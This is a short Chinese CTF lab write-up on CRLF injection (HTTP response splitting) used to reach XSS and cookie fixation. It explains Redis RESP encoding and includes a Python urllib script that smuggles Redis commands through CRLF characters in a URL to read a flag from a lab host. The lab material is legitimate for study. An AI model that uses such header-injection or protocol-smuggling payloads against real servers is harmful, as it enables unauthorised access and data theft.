在HTTP当中HTTP的Header和Body之间就是用两个crlf进行分隔的,如果能控制HTTP消息头中的字符,注入一些恶意的换行,这样就能注入一些会话cookie和html代码,所以CRLF injection 又叫做 HTTP response Splitting,简称HRS。CRLF漏洞可以造成Cookie会话固定和反射型XSS(可过waf)的危害,注入XSS的利用方式:连续使用两次%0d%oa就会造成header和body之间的分离,就可以在其中插入xss代码形成反射型xss漏洞。
大容量字符串按以下方式编码: 1、一个以“$”字节开始,后面是组成字符串的字节数(前缀长度),由CRLF终止。 2、实际的字符串数据。 3、最终的CRLF。 所以字符串“foobar”被编码如下: "$6\r\nfoobar\r\n" 当一个空字符串只是: "$0\r\n\r\n" 还可以使用RESP Bulk Strings 的特殊格式来表示空值。在这种特殊的格式中,长度是-1,并且没有数据,所以空值表示为: "$-1\r\n"
靶场训练:对redis 114.55.65.251.46379进行CRLF注入
根据上面的原理直接构造playload
# -*- coding:utf -8 -*- """ @Author:Forchan @File:urllib_test.py @Time:2021/02/23 """ import urllib.request host = '114.55.65.251:46379?\r\n*2\r\n$3\r\nget\r\n$4\r\nflag\r\n' url= f'http://{host}/' resp = urllib.request.urlopen(url) print(resp.read())
点击file页面观察是否存在“Http/”有斜杠“/”说明通过
观察得到version通过readline读出的

打断点
重新debug
点击Evaluate
成功读取到flag